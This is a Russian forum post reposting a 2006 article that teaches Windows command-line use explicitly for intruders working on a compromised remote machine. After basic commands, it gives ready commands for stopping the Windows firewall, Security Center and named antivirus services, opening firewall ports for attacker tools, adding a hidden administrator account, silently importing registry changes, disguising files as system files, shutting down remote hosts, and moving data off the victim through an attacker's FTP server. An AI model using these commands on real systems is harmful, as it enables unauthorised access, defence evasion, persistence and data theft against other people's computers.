для тех, кто забыл командную строку:

http://www.microsoft.com/technet....fr=true

обалденный man и на русском )

ну и.....

.:::::Основопологающие аспекты работы с командной строкой (cmd) в win32 для взломщиков:::::.
Так, ну как всегда стоит начать написание статьи, с расматрения виновника сподвигшего меня на это благое дело В данном случае это незнание многих и моё стремление, и желание помочь им, так как я сам когдато сталкнулся с такой проблемой. Перечитал должную порцию статей и вот приступил к написанию этой статьи. Ну ладна ладна, я соврал У меня были более корыстные цели .
С чего начнём? Пуск > Выполнить > cmd.
Мы видим перед собой консоль командного режима. Она позволит нам управлять ресурсами как локальной системы так и удалённой. С её помощью можно выявить критические места в настройках сервера (но данную сторону описывать в этой статье я не буду). Вообще командная строка (cmd) позволяет нам иметь более тонкую настройки ОС Windows имея при этом особенность: полное отсутствие графической оболочки, что ни в коем случае не сказывается на её возможностях. Для начала немешало бы изучить основные возможности cmd. Простые команды позволяющие нам перемещаться по папкам, создавать и редактировать файлы, запускать необходимую информацию. Набираем help жмём . Итак видим список самых основных команд для работы с командной строкой. Чтобы разабраться в действии каждой из команд можно вызвать справку по ней, синтаксис таков: command /? Наиболее важные для начала команды это: md (mkdir), rd (rmdir), cd, copy, move, dir, type, replace, more, ren (rename), start, call.Читаем внимательно справку о них, практикуемся и не задаём глупых вопросов.

Интересные возможности (одиночные команды):

[1]
--------------------------------------
Команды можно выполнять как одиночно так и последовательно. command1 & command2 - результат последовательное выполнение команд. command1 && command 2 - результат, если выполнится command 1 => выполнится и command2.

[2]
--------------------------------------
Обычно при вводе команды выходной поток направлен на cmd. Например командой dir мы выведем на экране сисок каталогов у текущего раздела. Вывод же потока можно перенаправить в файл. command1>file11 - этим мы создадим файл file1 и запишем в него результат выполнения команды dir (интересно, что если вы хотите чтобы результат команды не отображался и не выводился, то просто после > напишите nul. Также здесь будет умесна команда @echo off - попробуйте разабраться в ней сами). Дозапись уже существующего файла производится следущей строкой: command >> file1. В случае когда файла несуществует то >> будет эквивалентна >.

[3]
--------------------------------------
Коммандная строка позволяет работать с файлами как блокнот, в некотором смысле. В любом случае на удалённой машине у нас не будет выбора. Echo позволяет записать строку которая следует после самой команды:
echo "text">file или echo "text">>file - из написанного мной ранее мы помним что делает > и >>. В качестве "text" может быть и некоторая строка cmd (это скорее всего вам может понадабиться для bat файлов).
Для чтения файлов служит команда type. Но я ей не рекомендую пользоваться для чтения больших файлов. Гораздо более удобная замена - это команда more. Пример: more C:\file1.txt - читаем file1. Приэтом будет последовательный вывод данных по частям размером в один экран. - следущая страница. - следущая строка.

[4]
--------------------------------------
copy [option] source_file [option] end_file - это хелп по комманде copy. Собственно ничего сложного, но хотелось бы указать на одну маленькую особенность, что с помощью этой команды можно объеденять файлы в 1. Вот пример:
copy /B source_file1 + source_file2 + source_file3 end_file. Тем самым мы получим конечный файл 3 в 1. Параметр /B указывает на то что файл является двоичным.

[5]
--------------------------------------
attrib +-R +-A +-S +-H file. R - только чтение. A - архивный. S - системный, интересно тем что если в свойствах папки стоит галачка "скрывать защищённые системные файлы", а она там обычно стоит, то тем самым мы можем не только скрыть файл от простых юзерей, но и комбинированное название файла с этим атрибутом может дать нам шанс на то, что пользователь пощитает этот файл системным и удалять его не будет, да + ещё если этот файл будет лежать гденибудь в C:\WINDOWS\SYSTEM32\. H - скрытый.

[6]
--------------------------------------
cd \ - позволяет перейти из текущего каталога в корень диска где каталог расположен, а если вызывать cd с параметром /d то при указании каталага на другом диск произойдёт одновременное переключение на соответствущий раздел жёсткого диска.

[7]
--------------------------------------
Подчас бывают и такие случаи, что некоторые команды ожидают от нас ответа: Y or N. Во многих ситуациях нам может понадабиться пропускать эти вопросы. Для этого перед строкой команды необходимо дописать: echo Y|. Пример:
echo Y|command [option]

[8]
--------------------------------------
Командная строка мне полюбилось тем, что по своей сути это интерпретатор для системных скриптов, и всё это чемто напоминает простой язык программирования. Возьмём к примеру на расматрения обычное логическое следование или импликацию. Если A то B. Пример воплощения этого в cmd - это выполнения той или иной команды, только если существет файл: if exist file1 command.

[9]
--------------------------------------
Ещё одним примером импликации может послужить проверка значения переменной с последущим выполнением необходимого действия. set - самое простое название уместное здесь будет оператор присваивания (если вы программист то меня поймёте . Более подробное её описание можно узнать из хелпа: set /?. Для самого простейшего примера использования этой команды могу привести следущее (для тех кто как говорится) в танке, - нажатие кнопки Enter):
set var=1
if %var%==1 dir
результатом будет выполнение команды dir. итак переменной var мы присвоили значение 1. Далее проверили равна ли переменная единице и выполненили необходимую команду. Думаю началальный путь я проложил, далее читаем внимательно help по этой команде и расширяем свой кругозор.
Интересно что cmd имеет и постоянные переменные например:
%temp% - путь до папки temp windows
%windir% - системная папка windows
Например чтобы быстро попасть в системную папку набирём следущее: cd /d %windir%

[10]
--------------------------------------
Приведу уже порядка всем поднадаевший пример, показывающий как вывести системное сообщение посредством работы с JavаScript, чтоб не возникало вопросов, а как вывести мессагу? Содержимое её может быть самым различным, в любом случае щитаю, что вы планируете сделать её максимально запугивающей + советую ваще почитать о JavаScript тогда нижеследущее для вас будет более ясным. Так как данный пример демонстрирует запись кода JavаScript в файл и его исполнение:
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("твой_текст"); >> %temp%\mes.js
start %temp%\mes.js
deltree /y %temp%\mes.js
Такжи для вывода сообщения можно использовать: net send /?

[11]
--------------------------------------
hostname - это команда возвращает имя компьютера на котором она запущена. Думаю может пригодится, по крайней мере в стандартном helpе она отсутствует и поэтому вошла в мой список.

[12]
--------------------------------------
shutdown - выключаем компьютера. Думаю что первое что приходит на ум любому начинающему взломщику, это какже отключить компьютер на удалённой машине. Самый простой и эффективный способ выключения это: shutdown /s /t 00 - это команда поможет если вы непосредственно соеденены с удалённым компьютером. shutdown /s /t 00 /m \\name_user - данная команда поможет если у вас локальная сеть и вы имеете полные права доступа на компьютеры из вашей сети. Все остальные параметры читаем в хелпе

[13]
--------------------------------------
tasklist и taskkill - думаю тоже не мало важные команды позволяющие в полной мере работать с процессами. tasklist /v покажет наиболее подробную информации о выполняемых процессорах. tasklist /m - "отображение всех задач которые загрузили модули DLL..." данный параметр скорее важен для выявления каких либо сторонних объектов, возможно различных шпионов или вирусов. taskkill /F /PID number_pid - наиболее удобное завершениее процесса: по PID'у, его можно увидить у необходимого процесса в tasklist'е. Опять же для более глубокого познания читаем хелп.

[14]
--------------------------------------
systeminfo - также немаловажная команда, поможет вам узнать всё о текущем компьютере. Параметр /s необходим для локальных сетей. Думаю может пригодится, по крайней мере в стандартном helpе она отсутствует и поэтому вошла в мой список.

[15]
--------------------------------------
Возможно что на удалённой машине нам потребуется запуск какогото софта. Подчас бывает что требуется регистрации некоторых библиотек которые использует этот софт. Здесь нас выручит команда regsvr32. Если библа лежит в папке %windir%\SYSTEM32 то просто прописываем: regsvr32 /s name_lib. Параметр /s запретит вывод на экран сообщений о результате регистрации. Если же библа лежит в какойто папке, то укажем к ней путь явна: regsvr32 /s path_name_lib - где path_name_lib полный путь расположения библиотеки.

[16]
--------------------------------------
Имея доступ к удалённой машине, мы рискуем папалиться. Это может произойти по различным причином. Но одной из них немаловажной является брандмауер. Для простого и безболезненного его отключения служит следующий пример:
NET STOP wscsvc - отключает "Центр обеспечения безопасности"
NET STOP sharedaccess - отключает "Брандмауэр Windows/Общий доступ к Интернету (ICS)"
Однако возможно что на удалённой машине может быть установлен антивирус или фаервол. Вот примеры отключения некоторых из них:
net stop "Norton Antivirus Service"
net stop "Panda Antivirus"
net stop "ZoneAlarm"
net stop "Detector de OfficeScanNT"
net stop "McAfee Framework Service"
Для справки: net stop - останавливает службы!
(на момент написания статьи отключить касперского мне не удалось, но я более чем уверен что для этого, можно подыскать подходящие сплойты).

[17]
--------------------------------------
Теперь давайте рассмотрим случай когда у нас более задроченный юзер, проверящий работоспособность брандмауера каждую минуту. В таком случае нам необходимо не отключать брандмауер, а добавить правило. Модифицировать и добавлять правила можно коммандой netsh firewall.
netsh firewall add allowedprogram C:\file1.exe name - этой командой мы добавим правило для файла C:\file1.exe. name - название правила. Чтобы удалить добавленное только что правило следует воспользоваться следущей строкой:
netsh firewall delete allowedprogram C:\file1.exe
Если мы знаем какие порты требуются для работы той или иной программы, то вместо добавления правила для неё можно добавить конфигурацию порта.
CMD>netsh firewall add portopening TCP 4899 name - где name название правила. Удаляется же это правило следующей строкой:
netsh firewall delete portopening TCP 4899

[18]
--------------------------------------
Ещё одним немаловажным критерием закрипиться на удалённой машине может быть потребность в добавлении ещё одного юзера (естественно с правами администратора .
net user user_name password /add - этой командой мы добавим пользователя user_name. Права ограниченные.
net localgroup Администраторы user_name /add - увеличиваем права user_name до прав администратора.
Если нам необходим обратный процесс, то вам помогут нижеследущие строки:
net localgroup Администраторы user_name /delete - убираем права администратора у user_name
net user user_name /delete - удаляем пользователя user_name

[19]
--------------------------------------
При любых обстоятельствах вы можете столкнуться с необходимостью работы с реестром. Это может быть и необходимость установки программы, работа с автозагрузкой, либо ещё какиелибо потребности известные только вам. Из cmd работать с реестром можно двумя способами. Напрямую использую приложение regedit с вызывом необходимых параметров, либо же с помощью команды REG. Рассмотрим всё по порядку:
regedit - это не команда cmd поэтому хелпа коммандой regedit /? вы о ней не получите. regedit это обычное приложение при запуске которого можно передавать различные параметры. Пример, если вам необходимо экспортировать какую либо ветвь реестра:
regedit.exe -ea C:\file1.reg "HKEY_CURRENT_USER\Software" - первый параметр показывает что нам необходиме сделать экспорт реестра, второй куда мы сохраняем, третий какую ветку реестра мы сохраням. Похоже делается и импорт реестра:
regedit.exe -s C:\file1.reg - праметр s запрещает выведение на экран уведомления о том что происходит импорт в реестр. Можно конечно написать в cmd просто путь до reg файла, но тогда пользователь получит запрос об импортировании, а нам это крайне не необходимо.
REG - это команда cmd, хелп - REG /?. Думаю, что в справке всё понятно. Расмотри конкретные случае. Для добавления ключей в реестр служит параметр add. Пример использования:
REG ADD HKLM\Software /v option /t REG_SZ /d 1 /f
добавляет в раздел HKLM\Software параметр с именем option типом REG_SZ и значение 1, /f - говорит о том что запись должна произойти даже в случае её существования. Думаю что всё ясна, в любом случае просто внимательно почитайте хелп. Единственное на чём хотел бы остановиться это какие типы может принимать значение:
REG_SZ - строковой параметр: обычный текст водну строку
REG_BINARY - двоичный параметр: двоичные данные имхо HEX.
REG_DWORD - параметр DWORD: числа 10-ой или 16-ой системы
REG_MULTI_SZ - мультистроковой параметр: обычный текст с переносом строк
REG_EXPAND_SZ - расширяемый строковой параметр: как я понял что то комбинированное между REG_SZ т REG_MULTI_SZ
Такжу приведу примеры импорта и экспорта командой REG.Импорт:
REG IMPORT file1.reg
Экспорт:
REG EXPORT HKLM\Software C:\file1.reg
Отличительной чертой в импортировании и экспортировании, а также преимущество REG над regedit является использование сокращений имён разделов:
HKLM - HKEY_LOCAL_MACHINE
HKCU - HKEY_CURRENT_USER
HKCR - HKEY_CLASSES_ROOT
HKU - HKEY_USERS
HKCC - HKEY_CURRENT_CONFIG

[20]
--------------------------------------
И наконец то ради чего мы здесь собрались =D. Передача файлов на удалённую машину и обратно. Как правило это вызывает наибольшие трудности. Для начала следует обратить внимание, что при работе с "Программа передачи файлов (FTP)" брандмауер windows обязательно спросит разрешение на его использование => из пункта [16] смотрим отключение центра безопасности и затем брандмауера. Либо же добавляем правило в брандмауер Windows. Для ftp оно будет следущим:
netsh firewall add allowedprogram %windir%\SYSTEM32\ftp.exe ftp
Если вам понадабиться удалить правило на "Программа передачи файлов (FTP)", то воспользуйтесь следушей строкой:
netsh firewall delete allowedprogram %windir%\SYSTEM32\ftp.exe
Теперь непосредственно сама работа с "Программа передачи файлов (FTP)". Для начала нам нужен ftp сервер. Его можно разместить на своей тачке (для быстроты и простоты воспользуйтесь прогой TYPSoft FTP Server, можете конечно любой другой сервер настроить), либо зарегистрировать где нибудь в инете. Итак чтобы передать файл на удалённый компьютер вам необходимо сначала залить этот файл на FTP сервер. Заливаем, далее используем "Программа передачи файлов (FTP)".
ftp (повторюсь для танкистов - нажатие кнопки Enter)
ftp> - появляется вот такое вот приглашение.
open ip_ftp
Если у вас фтп не требует для входа пароля и логина, то в качестве логина указываем anonymous, а на пароль просто жмём . В противоположном же случае указываем необходимые данные.
help - покажет все доступные команды. help command - хелрп по камманде.
Заливка файла на удалённый компьютер с фтп:
GET file1 C:\file1
Заливка файла с удалённого компьютера на фтп:
PUT C:\file1 file1
После того как вы залили интересующие вас инфу на фтп с удалённого компьютера, можете слить её к себе с фтп.

Ещё хотелось бы сказать что существуют batch файлы или пакетные файлы. Они могут помочь автоматизировать все необходимые действия. bat файлы являются чемто наподобие скрипта, а интерпретатором является cmd. Интересно, что помимо расширения *.bat в NT также используется и *.cmd. Но не всё так просто - "бачи не такие примитивные, как тебе кажется - есть вирусы\генераторы, на них написанные";).
На этом мой краткий обзор я хачу закончить. Я попытался описать наиболее необходимые команды и метод работы с ними на удалённом компьюетере. Думаю, что было бы желания, а help по командам есть => вы без труда сможете во всём разабраться.

ЗЫ: всё расмотренное в этой статье было протестировано в Windows XP SP2.

Автор: r@nd.0m
Источник: www.root-access.org
07.11.06

Добавлено (10.04.2007, 16:16)
---------------------------------------------
ммм.... не обращайте внимания на эту тему - она больше для меня лично ))